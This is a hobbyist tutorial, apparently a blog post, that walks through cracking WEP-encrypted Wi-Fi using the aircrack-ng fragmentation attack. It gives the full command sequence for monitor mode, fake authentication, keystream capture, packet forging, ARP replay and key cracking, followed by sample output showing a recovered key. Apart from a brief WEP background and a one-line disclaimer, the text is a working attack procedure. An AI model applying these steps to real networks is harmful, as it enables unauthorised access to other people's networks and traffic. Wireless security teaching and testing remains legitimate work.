Finux's student hackers guide to WEP hacking

Finux's student hackers guide to WEP hacking

As the growth of wireless networks grows, the question of wifi security needs a constant eye of caution, and periods of re-evaluation.  Encryption of wireless networks is nothing new in today's world, however two main encryption methods are deployed in today's home networks, and large amount of business networks.  It has come to light in recent years that the first major adopted wireless encryption technology used namely WEP (Wired Equivalency Privacy) has a mayor flaws and now calls for it to be totally depreciated are being heard loud and clear.  It has to be said frankly that WEP can no longer be relied on to secure a network, in the past you may have been able to argue that there was some real-time deterrence from attack you would be hard pushed to make that argument today.   With the increase in WEP decryption technologies, the reality of cracking the encryption is a short process with certain efficiency, rather than a time consuming laborious task.
 

However the true reality of inherent weakness found within the WEP protocol  where long known before it's widespread deployment.  The worrying aspect of cracking WEP today, is that it can be done in literally a minute.  Scientists from the Darmstadt Technical University broke the record for cracking WEP in 2007, and this was due to them cutting the amount of encrypted packets that need to be captured to crack WEP.  Before they broke the record you would need to capture anything between half a million encrypted packets, to 2 million, they managed to cut this drastically to 40 thousand packets.
 

The main attack that i'm going to focus on is the fragmentation attack, here is a quick description;
 

 

 

 

http://www.aircrack-ng.org/doku.php?id=fragmentation#description

 

 

The attack is very easy in practice, and really can be broken down into 10 or so steps.  I have used my eee loaded with Ubuntu 8.04, however you can use BackTrack 3 or any distro, and the packages you need to find should be pretty easy to be honest.  Please only use this for educational purposes.  Please don't use this to break the law.

 

 

I have just done this on my system so your wireless devices may differ to mine

 

 

Firstly declare run kismet or what ever wireless scanner your using and find the network your going to hack.  You need to find out some key bits of information; namely the Wireless Networks name, the AP's MAC address and what channel it is on.  So in my case i found;

 

 

Finux-Wireless-Network, channel 13, BSSID MAC address  00-14-7F-9D-51-11

 

 

so i would suggest that we declare some variables in the shell before we start so that we're not constantly re-typing them in

 

 

in a terminal type

 

 

export AP=(MAC ADDRESS OF AP WITHOUT BRACKETS)

 

 

export WIFI=(MAC ADDRESS OF YOUR WIRELESS CARD, ATH1 IN MY CASE)

 

 

So first command

 

sudo airmon-ng start wifi0

 

airmon-ng  -  bash  script designed to turn wireless cards into monitor mode

 

sudo wlanconfig ath0 destroy

wlanconfig description

The current MadWifi driver supports multiple APs and concurrent AP/Station mode operation on the same device. The devices are restricted to using the same underlying hardware, thus are limited to coexisting on the same channel and using the same physical layer features. Each instance of an AP or station is called a Virtual AP (or VAP). Each VAP can be in either AP mode, Station Mode, "special" station mode, and Monitor mode. Every VAP has an associated underlying base device which is created when the driver is loaded.

sudo ifconfig ath1 up
 

sudo iwconfig ath1 mode monitor channel 13

 

This command puts your card into monitoring mode (rfmon) channel 13 (your channel may vary)

sudo aireplay-ng -1 0 -e Finux-Wireless-Network -a $AP -h $WIFI  ath1

 

aireplay-ng injects specially generated  ARP-request  packets  into  an existing  wireless  network  in  order to generate traffic.  By sending these ARP-request packets again and again, the target host will respond with encrypted replies, thus providing new and possibly weak IVs.

sudo aireplay-ng -5 -b $AP -h $WIFI ath1

 

This should produce a file in the directory your working in that should start fragment-*something*-*here*.xor

packetforge-ng -0 -a $AP -h $WIFI -k 255.255.255.255 -l 255.255.255.255 -y fragment-*something*-*here*.xor
-w arp-request

 

packetforge-ng  is  a  tool designed to forge ARP-request, UDP, ICMP or custom packets.  You should find in file named arp-request was made in your working directory

sudo airodump-ng -c 13 --bssid $AP -w capture ath1

 

airodump-ng is a packet capture tool for aircrack-ng. It allows dumping packets directly from WLAN interface and saving them to a pcap or IVs file.

 

 

You will need to open another terminal and leave airodump-ng running, in the new terminal

sudo aireplay-ng -2 -r arp-request ath1

 

This uses the crafted arp-request we made with packetforge-ng, you will need to leave this running and open a new terminal

sudo aircrack-ng -z *.cap -z

 

aircrack-ng  is  a  802.11 WEP / WPA-PSK key cracker. It implements the so-called Fluhrer - Mantin - Shamir (FMS) attack, along with  some  new attacks by a talented hacker named KoreK. When enough encrypted packets have been gathered, aircrack-ng can almost instantly recover the WEP key.

 

 

This command will pull everything in you working directory that ends .cap and start cracking the wep key.  You should get a window like this

 

 

                                 Aircrack-ng 1.0 beta1

 

                 [00:03:58] Tested 793 keys (got 47545 IVs)

 

   KB    depth   byte(vote)

 

    0    4/  5   7E(55296) 01(54528) B5(54528) 3C(53760) B9(53760)

 

    1    4/  1   46(54528) 2D(54016) A8(53504) D3(53504) DD(53248)

 

    2    1/  7   AE(57088) 66(55552) 98(55552) A5(55552) 01(55040)

 

    3   18/  3   F8(53248) 36(52992) 4D(52992) 9C(52736) E7(52736)

 

    4    0/  1   B9(69120) 4B(56832) 5B(56576) 16(56064) D0(55040)

 

     KEY FOUND! [ 73:4F:39:51:6D:58:69:6E:77:2C:64:6D:21 ] (ASCII: sO9QmXinw,dm! )

 

        Decrypted correctly: 100%

 

And that's wep hacked in less than five minutes with no clients attached to the network

 

 

~~~~~~~~~~

 

URL's Interesting Bit's

 

~~~~~~~~~~

 

 

http://en.wikipedia.org/wiki/Wired_Equivalent_Privacy

 

 

http://blip.tv/file/625845

 

 

http://www.offensive-security.com/movies/frag-final/frag-final.html

 

 

http://wireless-comm.blogspot.com/2008/05/10-easy-steps-to-crack-wireles...

 

 

http://www.ethicalhacker.net/component/option,com_smf/Itemid,54/topic,18...

 

 

http://forums.remote-exploit.org/showthread.php?t=8339

 

 

http://www.informit.com/guides/content.aspx?g=security&seqNum=305&f1=rss

 

 

http://www.aircrack-ng.org/doku.php?id=how_to_crack_wep_with_no_clients

 

 

http://ubuntuforums.org/showthread.php?t=763911

 

 

http://forums.remote-exploit.org/showthread.php?t=9457

 

 

http://oxid.netsons.org/phpBB2/viewtopic.php?t=2301&start=0&postdays=0&p...

 

 

http://www.youtube.com/results?search_query=wep+fragmentation+attack&sea...

 

 

http://www.eweek.com/c/a/Mobile-and-Wireless/The-Final-Final-Nail-in-WEP...

 

 

http://www.thelinuxsociety.org.uk/content/finuxs-student-hackers-guide-t...